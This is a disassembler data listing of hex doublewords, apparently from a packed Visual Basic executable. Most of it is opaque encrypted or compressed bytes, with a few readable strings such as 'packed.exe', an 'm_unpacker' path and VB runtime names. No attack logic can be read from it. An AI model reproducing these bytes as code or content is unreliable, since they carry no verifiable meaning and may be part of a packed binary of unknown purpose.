		dd 4E1F2DC1h, 7C307D50h, 0AA89E89Dh, 78C50A1Dh,	0F0C22506h
		dd 115C47h, 0EE1D0000h,	58FD1100h, 4CD4DC3Bh, 26A4519h
		dd 49C40000h, 2C0629B6h, 0C6F3D1E0h, 0E2538622h, 0D17D2C3Ah
		dd 0F8E25385h, 0C694ED98h, 47724FA9h, 0E25399ABh, 0C290B226h
		dd 40AD054Ah, 0B7955AEDh, 469F37E9h, 9E52D409h,	0F08FDD05h
		dd 0FB343197h, 5E2CB1B0h, 0DC8956D7h, 0C6CD1991h, 0C1EE35E4h
		dd 7DDBE86Bh, 7E90816Fh, 4BE86BC1h, 0C37298CDh,	64D1B340h
		dd 16C19E4h, 0F59E99AAh, 0A72C31C6h, 7ECAA185h,	53D259E6h
		dd 7D49E18Eh, 6CC4071Bh, 3CDC939Eh, 63F5EE7Eh, 80F5ABFFh
		dd 0D866C171h, 591h, 0A409D452h, 8FF2FD01h, 54D92438h
		dd 218C4FD1h, 0B767B8Ah, 3534F761h, 61EE45A8h, 879A119Ch
		dd 0AFB0F77Ah, 10FEDF22h, 53900D21h, 639EC4E2h,	629B649h
		dd 0F5D71C2Fh, 4B3EC340h, 171A7DFEh, 0E74A97A8h, 21ACBEE7h
		dd 15E14224h, 71847F0h,	0E1000000h, 1155Eh, 0B649E300h
		dd 0D94F2529h, 9A9583C3h, 52884h, 0B23DCD00h, 9B66F84Fh
		dd 428D9316h, 35B848FFh, 1FE465C8h, 0AF6CDA92h,	59EC519Eh
		dd 75B805CAh, 2B9EE3F0h, 5566CB18h, 8F769889h, 753E253h
		dd 29B649FAh, 0D71C2F06h, 49284FA8h, 196469FAh,	0F01584A1h
		dd 1BFF47h, 45130000h, 1AA5CC12h, 0FB323749h, 0AD5Eh, 0A75EE300h
		dd 0B0000000h, 76F30005h, 0A5A7EE37h, 0AB7B2F5Ah, 93806E4h
		dd 0DC3B58E5h, 19D674ECh, 6F028278h, 939E6C19h,	0E253AD75h
		dd 1E57E95Ch, 53ADFF13h, 0F64ECAE2h, 8D59D19Eh,	7A752406h
		dd 57E865B1h, 7FE19DC1h, 38777799h, 48062h, 1AE56500h
		dd 0C30E1097h, 0AA35CB7Eh, 9D60E047h, 478C9D10h, 0C70472FAh
		dd 0F134B946h, 0AD006D72h, 43E64B98h, 0EDCE33C0h, 911E30E1h
		dd 0EFABE253h, 2B7A4A52h, 4C7D4B59h, 0DC3B58A2h, 0DBCA92Fh
		dd 0E24DA942h, 8A3B098Fh, 27066B76h, 0E24DA908h, 1E6370F3h
		dd 254A95ABh, 42419h, 7A4A1800h, 0BC68592Bh, 15E25385h
		dd 7A4AFC83h, 53EEAE1h,	980DDBF0h, 1CEE468Bh, 6634A22Dh
		dd 83842FE8h, 0A901CE53h, 2078286h, 7ED6B2FDh, 98FD7612h
		dd 0E5B9F677h, 3E9h, 0C717C8Ah,	0D75AA5B9h, 0BC01CC50h
		dd 89F4F709h, 53DE2322h, 0DD6CAF19h, 906AD10h, 2F3279C4h
		dd 57E85FA2h, 4816278Ah, 5390B559h, 3B461CE2h, 5AA5A7EEh
		dd 6688B915h, 63DC3B58h, 0A6E89DF5h, 5C4D5F66h,	0E25385ACh
		dd 0DD97925h, 7EAFA304h, 683604E6h, 29A2EA5Dh, 1E45008Ch
		dd 367DC00Dh, 0AF87A835h, 0C372505Fh, 20CABF44h, 6BCF6671h
		dd 17F563E8h, 72509DAEh, 0F3BC3FC3h, 1E95D095h,	0F7BFC00Dh
		dd 0CC9A6837h, 2CE48963h, 38C28708h, 7E23EE09h,	117DDBEEh
		dd 71810E61h, 46FA40EFh, 2F000003h, 0DA51DC1Fh,	0F5388548h
		dd 0AA016C6Fh, 47EA579Ah, 0B4B439C6h, 73808142h, 27ACBB0Eh
		dd 0DD257DAh, 0F5FA0DA0h, 0FAA7B388h, 0E2539158h, 49942571h
		dd 2F0629B6h, 0DC061D1Ch, 8F902021h, 3B687082h,	67FF59DCh
		dd 0C00CA20Fh, 140513F1h, 0DC3B68FAh, 68BB5742h, 8216DC3Bh
		dd 54A6A335h, 4D773665h, 0B77806E2h, 71F28F1h, 0DE3A3F2Ah
		dd 0FD8BECCh, 7070BBB5h, 0EF56B4F5h, 44EF905Bh,	0A1A43CC1h
		dd 4D60D07Eh, 0C7AACDE2h, 21DDA4Bh, 51014Eh, 0AFBD0000h
		dd 4D5950E2h, 6A1F79E2h, 0B140EED3h, 0FEA11E09h, 915D0540h
		dd 42712002h, 8FE24E61h, 0A34B6609h, 1CE24E60h,	0B25C4D0Ah
		dd 1FE24E60h, 171E21B9h, 0ABA5CA15h, 53D05F52h,	0F67E18Eh
		dd 0C547CE9Ch, 45344F3Ah, 31968C5h, 111934Eh, 495C0000h
		dd 0F1FE3B6h, 27489395h, 9CFA0321h, 0DD86A899h,	0D543DC3Bh
		dd 0D35AE57Dh, 519CA052h, 0A9BAEBF9h, 0AD802124h, 0F6B1DF9Ah
		dd 8860F91Ah, 0F4BA5455h, 8117DC3Bh, 5C4D5B29h,	0DC3BF4B2h
		dd 6CCB182Dh, 7D3071F4h, 9E07E5EAh, 593F408Dh, 0EF905DECh
		dd 0BE71FC69h, 0DC3BF962h, 1728CA5Dh, 0B80F72CAh, 0B9155AA7h
		dd 49F6FB0Ch, 18D49ACFh, 0DFADBB89h, 3BFA40D2h,	59A6BBDCh
		dd 9D657DEh, 0EA05B4B1h, 0E7E24E2Bh, 6ABA0C71h,	4DDC495Bh
		dd 839C580h, 0E862DC33h, 1A283A9Eh, 3789589Ch, 925DE13Bh
		dd 76BF4F3Ah, 2F3560F7h, 848583ACh, 0E8631A6Ah,	8B99F167h
		dd 7F30071Ah, 214170CAh, 0A79EC44h, 3559A6A7h, 779C5327h
		dd 92DC62CDh, 53000001h, 0EA508D3h, 398CF1FCh, 0DE55D823h
		dd 8B3E834Eh, 6008757Ah, 0AF3435F6h, 9360EF42h,	79869B2Eh
		dd 21AEB1F4h, 2613FFDCh, 0E253940Ch, 496091C5h,	63C62BB8h
		dd 0BCAE13E0h, 47E8F309h, 0EE2584C1h, 294A1A7h,	0BC43753h
		dd 0FE5AE57Dh, 7207C78Bh, 0A1703A03h, 0BE8CE423h, 4DD5C4F3h
		dd 1E2D98E2h, 9D454D1h,	267E266h, 28C6E996h, 95E24DD6h
		dd 32F36F42h, 0A94E028Eh, 0B6h,	29B64916h, 975AEA5Bh, 4CFD68E8h
		dd 899B68F9h, 0BEC10C1Ch, 0AF02AFDAh, 0DC3B5D51h, 0F3BEB94Ah
		dd 0DC3B5D5Fh, 0B496EE6Ah, 1DC600E6h, 0BEEBD406h, 3B1D22AFh
		dd 7B8C234Eh, 0A561C976h, 83AC2F33h, 525F2D85h,	0E24DC8C1h
		dd 8D258808h, 0A1907241h, 0E862757Bh, 0B5E0C256h, 6FC22FB4h
		dd 0F94D11DEh, 0FF779CBBh, 0ABEAB0h, 0BA480000h, 0E367CA37h
		dd 0A1E9518h, 35377AC7h, 61E047AAh, 0E95F119Ch,	6BD61B2Ah
		dd 37BA47C4h, 1D606DF0h, 0E5489596h, 0F31F0AD8h, 0DEE25394h
		dd 0B84979B8h, 0E063C62Bh, 80843113h, 1356327Dh, 3ACF7654h
		dd 1B8E8AB5h, 0D2B6F906h, 0B6491497h, 1C2F0629h, 8C46AD7h
		dd 0D9FEABB9h, 0F0E25383h, 0D354DF60h, 7AABA30Eh, 0F858E7EAh
		dd 0B845C68Dh, 726738F7h, 11404800h, 0E4643222h, 7D80354Eh
		dd 8285C8BDh, 0AABDF07Dh, 11131A25h, 798AA1CEh,	0DD60CB74h
		dd 8DD46F10h, 45DC2CAEh, 0A936C976h, 915EE144h,	350EEh
		dd 48D10000h, 36B949F1h, 0DC212209h, 78859893h,	0E2EF7C37h
		dd 8A57D65Dh, 32BF4EE5h, 0DB26260Dh, 408B9194h,	0EFF2743Fh
		dd 77683940h, 8900006Ah, 0F7682434h, 89000063h,	1568241Ch
		dd 89000069h, 0FB68240Ch, 89000009h, 0EDBF243Ch, 0C136DA5Ch
		dd 0F74F08E7h, 0D0F781D7h, 8923BB3Eh, 8B545FFBh, 0C483240Ch
		dd 0BF575304h, 396231C6h, 4247C01h, 8418F5Fh, 0C6086981h
		dd 8B396231h, 8956240Ch, 4C681E6h, 83000000h, 348704C6h
		dd 1C8B5C24h, 0E3895324h, 4C381h, 0C3830000h, 241C8704h
		dd 0A58E95Ch, 0BE2DFFFBh, 2AFE0244h, 62860C00h,	183CD1B8h
		dd 0FFC50306h, 9E2A83E0h, 708A6857h, 21661737h,	0CFADB32Fh
		dd 0AEE69433h, 5C73061Bh, 707FF469h, 36039666h,	0FF477C4Fh
		dd 689DB072h, 0A0CB8206h, 0BC7F0000h, 974D7424h, 0D47C695Dh
		dd 4A4A9E26h, 0AB2F7C24h, 9355787Fh, 0D4CD6C3Dh, 6A887546h
		dd 449BE308h, 99A3A176h, 0CB85F958h, 1CDD5902h,	70E7436Fh
		dd 0F2092B0Fh, 0A6D50F3Fh, 927217Bh, 0FC5FA33Fh, 0CED6944Eh
		dd 12E84Bh, 8B4F0000h, 1AEDD77Ch, 49DA3D93h, 5B4D1D40h
		dd 78E75754h, 665F43B1h, 817467B9h, 713FC7h, 2880F00h
		dd 0B7000000h, 1C2DBA12h, 0E6810000h, 1B0FF75Fh, 81FC078Bh
		dd 61B240C0h, 67E8811Eh, 6621979Eh, 81EF63BBh, 8FD4DAC0h
		dd 50C88B5Ah, 0B1078FF5h, 3EF830Eh, 0B70F4FF8h,	850F4ADFh
		dd 16h,	28E9h, 0E4F1F700h, 0A2BC60FDh, 5E5DA888h, 0A6826611h
		dd 0D9804D84h, 0FFB2E9ABh, 40DAFFFFh, 1F129C44h, 2C43CC08h
		dd 0A1FC9C2Eh, 578D8D5Ch, 6606183Fh, 892320BEh,	1227918Dh
		dd 0D8E0F06h, 0E9000000h, 8, 0C31A7D78h, 10909F53h, 343985C7h
		dd 62E40612h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 0DCE8A9C3h, 0FBDFF5B9h, 800F08D8h
		dd 85C7AAF4h, 6122E5Dh,	0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0BC35343h
		dd 67F9CE81h, 85893576h, 6122DD9h, 120DB5FFh, 6A0612h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0BA334BC3h, 79B958DBh, 840F0250h, 5,	22DF8166h, 0C995FF39h
		dd 6A06120Ah, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0EE61C351h, 1C8ED385h,	0E380F72Dh
		dd 0FF006AB0h, 12247595h, 0EBC08B06h, 49C967Fh,	10D554A1h
		dd 812647C7h, 0A862F4B2h, 0A47F9B57h, 47B3B858h, 841A64C2h
		dd 479BFF41h, 3F91C7BAh, 0E2E95E65h, 8DC6E95Ah,	311E82AEh
		dd 87FF5DBBh, 0F3D4DDB7h, 0C2DF4618h, 0ECCA480Ch, 3E2865B9h
		dd 5CAB744Ah, 1CF02560h, 73E162EFh, 0C5384C41h,	0B48E1B06h
		dd 0F9129E67h, 0F4B08B4h, 95ADD041h, 1F592D16h,	5A5FACC9h
		dd 287C6E44h, 0A8541EEFh, 70B744E9h, 745CFFECh,	0F145EF55h
		dd 187E9h, 0D3F9C000h, 0E705C56Ah, 5C3A4377h, 6E755F6Dh
		dd 6B636170h, 70007265h, 656B6361h, 78652E64h, 65h, 3Ah	dup(0)
		dd 61433300h, 746F6E6Eh, 6E696620h, 25272064h, 202E2773h
		dd 61656C50h, 202C6573h, 692D6572h, 6174736Eh, 74206C6Ch
		dd 20736968h, 6C707061h, 74616369h, 6E6F69h, 6E756854h
		dd 614D5452h, 5F006E69h, 6162765Fh, 54726156h, 654E7473h
		dd 0Bh dup(0)
		dd 1C71E9h, 43C16800h, 0FDE90618h, 68FFFA3Eh, 61844B0h
		dd 0FA3EF3E9h, 45C568FFh, 0E9E90618h, 68FFFA3Eh, 618469Dh
		dd 0FA3EDFE9h, 46DC68FFh, 0D5E90618h, 68FFFA3Eh, 61847AEh
		dd 0FA3ECBE9h, 480A68FFh, 0C1E90618h, 68FFFA3Eh, 618485Bh
		dd 0FA3EB7E9h, 4F5E68FFh, 0ADE90618h, 68FFFA3Eh, 6185008h
		dd 0FA3EA3E9h, 50C168FFh, 99E90618h, 68FFFA3Eh,	6185177h
		dd 0FA3E8FE9h, 520F68FFh, 85E90618h, 68FFFA3Eh,	61852E4h
		dd 0FA3E7BE9h, 53A868FFh, 71E90618h, 68FFFA3Eh,	618545Dh
		dd 0FA3E67E9h, 5ABE68FFh, 5DE90618h, 68FFFA3Eh,	6185BE7h
		dd 0FA3E53E9h, 5C8A68FFh, 49E90618h, 47FFFA3Eh,	9BF613C1h
		dd 0AA05E288h, 0F857B05Ch, 0A658226h, 8DB051FDh, 0D98582B9h
		dd 0A94FD138h, 7A1CE148h, 4BF3329Dh, 0D03875AEh, 0E2C021h
		dd 6D7EE3BFh, 55B4D494h, 1802EDE1h, 5FB425AFh, 2B1206FAh
		dd 0B849C0ACh, 429CF10Eh, 0FF0B5DDEh, 0F70CE859h, 6D68F884h
		dd 1D00E869h, 3AAAFE54h, 57D6E56Ch, 3Ah, 9721BFF2h, 0F32A2921h
		dd 0AD315ED7h, 429EF24Bh, 540CE8DBh, 0F3FA53F4h, 0F7727CC5h
		dd 0BE47D289h, 20E16814h, 167AFB76h, 0E8C3E3h, 2C84EE93h
		dd 0D6E5CABCh, 132CDh, 946D7400h, 0F80F9EEAh, 0C8B460A6h
		dd 828D2EADh, 71B3DA82h, 79224ACBh, 37115EEh, 8382ED66h
		dd 360662DBh, 0BF57C885h, 0F2986B02h, 26AEB86h,	0DCD7A8Bh
		dd 659DB7AAh, 0ACDD1C74h, 7B06FAh, 78B50685h, 0FAACE110h
		dd 87FC7F06h, 503BF266h, 0DE2706FAh, 0BBA6DB34h, 29D5526Ch
		dd 22A3DEAAh, 6814BE47h, 8264DBE3h, 0A3CD3CFAh,	56D57D84h
		dd 685283E5h, 91EC06FAh, 4F4FA912h, 24C6F166h, 1855E263h
		dd 5F7397F8h, 158ED2F1h, 0E850E383h, 0F20C1B0Ch, 3EE43F4Eh
		dd 18A598C5h, 0CD4FF409h, 24A377F0h, 0AF40C540h, 0B03D7692h
		dd 0C1772FF5h, 7AC08130h, 199A1946h, 0D830724Ch, 0E98D19h
		dd 8F54C4B7h, 0A16A2729h, 0DD338807h, 0AF44982h, 9E1CE574h
		dd 0D491DF87h, 0BCBFDC59h, 6713107Fh, 867799D6h, 200AD298h
		dd 0A807D85Dh, 0D164AF5Bh, 8464BD09h, 1966FEC8h, 58AC0000h
		dd 1FE04FA8h, 0F3339E7Bh, 0BD41A849h, 9493FE1Bh, 507209E6h
		dd 916E1CEBh, 0A13EE63Eh, 0F613B34Eh, 7E08A9Bh,	8E4FA19Eh
		dd 2800E2C1h, 966DD70Ah, 61A00FE8h, 0BFF958B9h,	82EFEE02h
		dd 0F24906FAh, 66CA1471h, 0A55FB3D5h, 4770CE8h,	0ACEDE878h
		dd 0A47900E8h, 10177602h, 0C3741662h, 0AFD05767h, 0A5FDEFC3h
		dd 0D792D6E5h, 37000000h, 9EEA946Dh, 0F14AF80Fh, 88F4A066h
		dd 7C0468EDh, 6FA7E45h,	59B660A1h, 36872FF6h, 0A554BCF9h
		dd 306FA86h, 8629A838h,	0B48706FAh, 0DE4D3Fh, 0B9C91F9Ch
		dd 550CE88Ah, 0B4A5FC3Bh, 0E9E5464Dh, 88069652h, 0F1AE2749h
		dd 0E026318Ah, 24CA5534h, 47981D58h, 0CB70D4EAh, 0F534F9A5h
		dd 3D7EFD0Ah, 0E7919180h, 867DC99h, 0A9BD52FBh,	0D3F83645h
		dd 0CF54BB54h, 6D5BF023h, 521E64BBh, 187744h, 9947DD00h
		dd 680E1178h, 36E2208Fh, 8AC76D9h, 0D78380EFh, 183F033Ah
		dd 2F825F0Bh, 7FD22FD5h, 88E700A2h, 0EF30D179h,	0C69F5EB2h
		dd 1D3900E2h, 0E8966DC4h, 973BC453h, 0F6178CE9h, 8ADE8A9Bh
		dd 6FA824Bh, 82F2E305h,	0F14C06FAh, 0E952D1ACh,	85FEA67Eh
		dd 946D0D64h, 0F60F9EEAh, 805EB34Ch, 0BD499F1Ch, 590CE88Eh
		dd 178C38CEh, 0D685F34Ah, 0B6867799h, 5D2000E8h, 0B68570D8h
		dd 4CF500E8h, 0B31292E6h, 0FD7FD6E5h, 0C0000000h, 75AABDA0h
		dd 0ED6684B9h, 0EE02BF8Ah, 6FA82EFh, 8A9BF249h,	481363E0h
		dd 0A6177945h, 0E880DE42h, 0C4A5980Ch, 0B555A8B7h, 19FFA830h
		dd 0F5C9DD73h, 0AC62A93h, 0ECD6440Eh, 5B9859AFh, 4736E644h
		dd 0BC39D924h, 7BD09C9Fh, 0C2961C63h, 85ABD658h, 0C253B506h
		dd 0BCEC56F6h, 36AF51ADh, 0BEA91269h, 0CBB2A168h, 17BB7842h
		dd 619E1B98h, 0FA862EF6h, 9A6B067Fh, 115F031Ch,	0D138D954h
		dd 367FA650h, 993F6972h, 1762C3EDh, 5CA80000h, 23FC53ACh
		dd 0F70F627Fh, 0C15DAC4Dh, 986FC21Fh, 54760DEAh, 957220E7h
		dd 0A542EA3Ah, 0FA17B74Ah, 0BE48E97h, 8A4B9D92h, 2400E2C7h
		dd 946DD306h, 588F17F7h, 3DBE1ECAh, 2F5DD872h, 7DBE22BCh
		dd 7A871312h, 52D1ACD8h, 6DCA4B26h, 9E64F330h, 79EB86F2h
		dd 6FAF978h, 1F5A6515h,	3B6017B3h, 0A95DC340h, 8D0CE8ECh
		dd 3D2C51AEh, 0A4BB38E6h, 0E27EB17Ah, 74233893h, 0C7A421E3h
		dd 0C02895F7h, 0CE82E5Ch, 1246231Ah, 8A006951h,	0BC01637Bh
		dd 0D308B854h, 0D19F9E81h, 0BB00647Ah, 10AD55ACh, 0B758F9F8h
		dd 6FE45795h, 0DB5FBED2h, 7C399FA5h, 99DEE514h,	7DF8439Fh
		dd 6C6D83C0h, 0CA9F99DEh, 0DA45F273h, 0EB46A34Bh, 0F6A1701Ah
		dd 59F1F84Bh, 168A032Dh, 34F00000h, 0FB046B84h,	0CF57BA57h
		dd 9965C425h, 70B71AF7h, 2C1E25C2h, 0AD4AF80Fh,	0FD1AC242h
		dd 12EF8F92h, 23BC66BFh, 0B22345FAh, 0C00E2C4h,	946DEB6Eh
		dd 0F0863BEAh, 0BDA95894h, 164B93h, 0C573B100h,	943AC524h
		dd 620E147Bh, 34D82A85h, 3AF74DBh, 0CC6B5FE6h, 36E8B37h
		dd 53BE5B01h, 7CD32CCEh, 0BB1CFDA5h, 0C4736286h, 31CD00E2h
		dd 0F7946DA8h, 6A00BC70h, 7618E590h, 9BF07CFBh,	345CE143h
		dd 0CE8BF00h, 7ECACAA6h, 7BE58B95h, 5DA4FA9Bh, 5EBB36B5h
		dd 0B7D122E4h, 152BED99h, 46DBB27Dh, 7C422FA4h,	0C14DA318h
		dd 950AFA04h, 0C9FB15A6h, 0FAE26B0Fh, 6E12EC7Fh, 5BCC94F5h
		dd 2D9FB7DBh, 7A8E2F91h, 0A425DE66h, 0FCBFCDB0h, 2AA829BFh
		dd 3706A825h, 0AB0DD1BEh, 0A99FFE12h, 82F9A237h, 2FD72E39h
		dd 10A67FD2h, 0E4447510h, 85E4D6FCh, 0B9E27A06h, 814E49F0h
		dd 0B9CF6CEBh, 0B20F8838h, 0F928A796h, 0D89F9BAh, 79A771FDh
		dd 0C3000015h, 177A9745h, 2689660Ch, 74DB34E0h,	86E906AAh
		dd 134D581h, 5D091E3Dh,	2DD32DBCh, 0FEA07DCCh, 0CF778EE1h
		dd 5CB4E932h, 0E2C59Dh,	94FA1F3Bh, 6FA8265h, 0FA72CD08h
		dd 6235A006h, 157306FAh, 0E320092h, 0D038BDACh,	6FAF525h
		dd 1FC670B1h, 5895672Eh, 1DDBE561h, 67000015h, 0BB16F3A1h
		dd 0CA25C268h, 1877903Ch, 2A856206h, 0ADD031DDh, 0B965A299h
		dd 892FF158h, 5AFC0168h, 2BD352BDh, 0B0D855CEh,	0E2CA41h
		dd 6F9EC39Fh, 1350ED4Fh, 0FA82FCFDh, 62E35A06h,	8D17B3D5h
		dd 0EC4F0CE8h, 0A7266A25h, 0F7C18D5Eh, 14CCh, 0A542F236h
		dd 0F415B94Ah, 6E38D95h, 54B557ABh, 67802EF5h, 0B64DEADCh
		dd 8080EF08h, 4DD03FD8h, 24FD4CADh, 7049D7Ah, 0E2CAF0E1h
		dd 29B04E00h, 6946Dh, 0CE4D2854h, 30DA2BA2h, 0EE2B4044h
		dd 0FA825B9Ah, 993BC706h, 3E779C4h, 1D42BDD9h, 553D76EFh
		dd 645AE907h, 6106EE1Ah, 0FB78F7A1h, 0F78BC4C4h, 44A5D0h
		dd 59960000h, 0FA86C637h, 981D6006h, 826194C1h,	382706FAh
		dd 96FA43E7h, 6FA8267h,	6EF97AC1h, 6D12EF97h, 0F7D21E2h
		dd 456FF172h, 8E0721FDh, 138E37E4h, 52AFBE21h, 998835B0h
		dd 1A62E385h, 141F0Ch, 946DD500h, 0B10D9EEAh, 0A6B1EE4Fh
		dd 0D63ABB5Bh, 0CE87D8Ah, 18C65D8Ch, 0CFEF7C9Dh, 0ABD97F81h
		dd 0BE64BFCEh, 8338B7B2h, 0FA97D96Dh, 0D2523D0Ah, 91ECA92Ah
		dd 3DE33D2Ch, 0CBB1324Fh, 0FF18C442h, 0DEBA6D69h, 8228FB0Ah
		dd 55F90A65h, 0B95DA627h, 0B69C8BCBh, 0F415B94Ah, 0D3B3B33Dh
		dd 268DCDCh
		dd 419F0000h, 0E23C6623h, 73AADE3Eh, 6FB5CC49h,	0B5FF014Fh
		dd 0BAB7C56Bh, 3E7BC03Fh, 0CBEC56A2h, 0FA3334A5h, 31AB9206h
		dd 189DBBF0h, 0E8E780B0h, 73B3DE0Ch, 5EBEBBC9h,	89DD3D15h
		dd 12AB2650h, 817098D5h, 0DF00E857h, 5705F45Ch,	0D8A300E8h
		dd 67B8115Bh, 38CB26C3h, 5B9EE692h, 0C00E8A7h, 30F32F1Bh
		dd 0BE006D8Ah, 0B076E15Ah, 0F06F1BE8h, 4C89C673h, 0E867B524h
		dd 0AB281300h, 0FA926125h, 45F6450Ah, 22A34BDAh, 8634F35Ah
		dd 48010669h, 11EDD862h, 0E0F2ED6Fh, 0C54209Fh,	0ADFE8CBh
		dd 43BFAB9Ch, 94F916C4h, 3355E64Ah, 0CDC32Fh, 0A1285427h
		dd 25C95A60h, 1E07FBBh,	0DE5D87B0h, 4357AE01h, 8729F5C3h
		dd 0FA9C6108h, 874F38Eh, 0CD4C7978h, 157D2614h,	85620C15h
		dd 4735D92Ah, 0A9843DC6h, 733C4948h, 0D97D86E9h, 2553CEABh
		dd 0C9585CA4h, 0A5D6A221h, 0CDBE9243h, 3E512C14h, 12323EE6h
		dd 87213D15h, 7719E574h, 0D9818009h, 0D253CEABh, 7D9BB991h
		dd 9D305E90h, 0BCCB4877h, 2CCE5363h, 575150B1h,	38C2C0F5h
		dd 7Bh,	0E8966DD9h, 48F60D9Ch, 0D17D95F3h, 0A8D5FB37h
		dd 601412Bh, 7B27FC2Ch,	18299B9Eh, 5846D0F7h, 0E3000000h
		dd 9EEA946Dh, 204CF60Fh, 0BE44D360h, 0B5F00B0Fh, 63DE3B41h
		dd 59C9A1E2h, 0C6C11EC8h, 0D0F743C6h, 32ABh, 4F6F4E00h
		dd 543850EDh, 220CE8A9h, 812DFA65h, 0EFEE76F3h,	4900E8A8h
		dd 2F5D091Eh, 2C58D752h, 0E8A89144h, 0D2B8E100h, 0E5AD0EFEh
		dd 0C063D6h, 6F060000h,	1350ED4Fh, 0FA82FCFDh, 88E35A06h
		dd 0CBA6D276h, 479BED4Ah, 0AF0CE8A7h, 3EB763A0h, 0FF6E1A61h
		dd 0B1E16324h, 4F6FA293h, 47D837D0h, 9211B34Fh,	1A9C67E6h
		dd 9AE66509h, 25E54DFAh, 88E229DAh, 717CEE62h, 37E0AACh
		dd 29E80984h, 0D6E5CDBFh, 63D0h, 506F7100h, 3DC651EAh
		dd 8904AA75h, 3859AF0Ch, 1634BDD3h, 8206F719h, 0E36386FAh
		dd 0E59D8DA3h, 9F1A613Ah, 2B5481D1h, 256E86FAh,	9A00DF4Dh
		dd 47EF3621h, 18AA68D5h, 0C243A994h, 27421375h,	0ADBCB4BDh
		dd 7D7C9454h, 0DB06FA76h, 0DA97E560h, 0A0413C59h, 11F6h
		dd 0E40C4900h, 6FA76F5h, 146BE853h, 2ED2h, 956DB700h, 0F30C9DEBh
		dd 0C45FB24Fh, 0E9F9521Eh, 0CF533E7Fh, 97C4A82Dh, 54D17988h
		dd 0BDD3A6CCh, 593166B4h, 0F78B8701h, 0BCDE8D0h, 6F890000h
		dd 1754E953h, 0C54FFB08h, 6FA8214h, 224ACBB2h, 25D43C79h
		dd 8306FA82h, 82736286h, 6ECD06FAh, 0C0EE72F3h,	47E918Eh
		dd 21A3F753h, 4E595CB3h, 3Ch, 0E9536FEBh, 44593454h, 36CA8919h
		dd 24F38AA6h, 0D45193B2h, 1AD00167h, 0F6E06FAh,	5D821161h
		dd 54AE5E49h, 0BA45C4B0h, 64F6814h, 0D49D102Ch,	0EEBA2A7Eh
		dd 38D77983h, 72000002h, 0A652D0BFh, 49269FDAh,	0C6740F79h
		dd 0EA946DA3h, 0C504638Bh, 0D3F77FDBh, 47D4h, 0FF6AA700h
		dd 0E4157F25h, 42FBFA82h, 6FE77AFBh, 0BF8EE953h, 0FA82AD29h
		dd 53320906h, 0A3C502BFh, 6FA8232h, 46DEB18Ch, 6D42259Eh
		dd 8C88EB95h, 33D2F5h, 306D0000h, 0FA8219D8h, 0B8D9B706h
		dd 0CFD078DBh, 1C73F06Fh, 54E9536Fh, 4943AC5h, 3D05A46Dh
		dd 1669EA52h, 82AD29BFh, 453806FAh, 6DD8BF22h, 8C88EB95h
		dd 0D21BFF5h, 0E648A764h, 64F860E5h, 809EED6Eh,	5687E983h
		dd 0F0EEF516h, 8AF6A061h, 14F570EFh, 0C26CB5h, 0BE7422E1h
		dd 0BB67C374h, 48A7C06Ah, 6FAC11B9h, 0F516D819h, 17BB44EEh
		dd 0EC4F0C69h, 0AEDA849Dh, 5A9C52D3h, 8B37CC51h, 6966CFDh
		dd 90DC5BFBh, 0C3DBB7F0h, 0D0FE549Fh, 50A911B0h, 1E5B29D1h
		dd 344B89BEh, 4551D0BFh, 0FA9712BCh, 0F8088E97h, 0CA492450h
		dd 692AF908h, 0EEF5506Dh, 76B072C9h, 5CA565CDh,	0AD7AD5B2h
		dd 8BC87301h, 0F5507465h, 3355D2EEh, 0EEF550C2h, 0CBA2211Ch
		dd 86E3913Bh, 236B750Dh, 31F63218h, 0FC056485h,	44ACE952h
		dd 0EEF55095h, 17CB4833h, 0D0BF2DFAh, 0A52BA850h, 0EEF55031h
		dd 0AF7D1B75h, 1AAE6D37h, 880DAF73h, 57B270CBh,	0F65725CFh
		dd 0B6FC882Ch, 0DA7995FDh, 2B6FB6A1h, 264331DBh, 11792AABh
		dd 0D5661011h, 6917B74Ah, 0CB003911h, 37E46E1h,	7F86E982h
		dd 0CFE51FD7h, 0A1A0582h, 0CAA0E162h, 9E1FC75Eh, 0BBC973B3h
		dd 402CD052h, 4C2DA625h, 0B87A24FDh, 3EC0DA29h,	1493EE9Ah
		dd 76394DEh, 0DB600A1Bh, 7E11B14Ch, 0EA8300A4h,	0EA946D8Fh
		dd 6FA3C68Bh, 638BEA50h, 7FDBC504h, 36D4D3F7h, 7D000000h
		dd 8BEA506Fh, 0F1702BFh, 7C78E065h, 0DA06FA82h,	0B84FDA63h
		dd 15EF7E0Ah, 0E964016Fh, 21BF156Ch, 80D29522h,	9B62FC4h
		dd 0EC926D16h, 0D2F58C95h, 1Fh,	0EA506FB7h, 1C21BF8Bh
		dd 0CD94A4BBh, 0E305B233h, 6FA56F7h, 0BF64FF7Eh, 0EC926DD8h
		dd 94F58C95h, 6FA72BAh,	0FD599442h, 947DFFFFh, 6FA8261h
		dd 229CEBF7h, 0C0F8CCA2h, 90FF1897h, 41B0D892h,	9F06FA48h
		dd 8D9C219Ch, 0DEBECA74h, 54CEF424h, 0F8403AAh,	0F7E4157Dh
		dd 95DE06FAh, 0E7B54DBDh, 6C09771Dh, 66B910F1h,	13EC7BC0h
		dd 0EF64016Fh, 0B81EA10Eh, 5A0CA4CCh, 1F9C4924h, 94777C1h
		dd 9003F181h, 39E5202Eh, 0C7800580h, 0C295176Bh, 7FA92A1h
		dd 9F000002h, 0FA826094h, 84E8F606h, 0A7B5D137h, 0A6310CE8h
		dd 0AAC7B561h, 0A77FD22Fh, 8FCC8FFDh, 0E8AE7879h, 0EE67D600h
		dd 0AEDA8083h, 323EE43Fh, 0B64F05D9h, 0D7B1FE0h, 0C576F570h
		dd 0FA8D4FA3h, 0ED34070Ah, 64B93DA8h, 0C9B19FCBh, 3300000Dh
		dd 47AA47F5h, 96F916BCh, 0A40BE490h, 0F659B65Ah, 0D1648531h
		dd 0DB94EEDh, 0DD839DECh, 0AE50AD3Ch, 7F27FE51h, 0EC043962h
		dd 0E2CDEDh, 6D2AAF4Bh,	0D9EEA94h, 63EE4FB1h, 0F18CF8A2h
		dd 0D7A1C774h, 0AF0CE242h, 20E06FCCh, 0D3BEFB78h, 3348A953h
		dd 0B233DF24h, 0C0B84FD7h, 72384202h, 0C443E93Bh, 53D23B49h
		dd 0BF827395h, 61DC00E2h, 204CF80Eh, 51BAC645h,	76922B8Dh
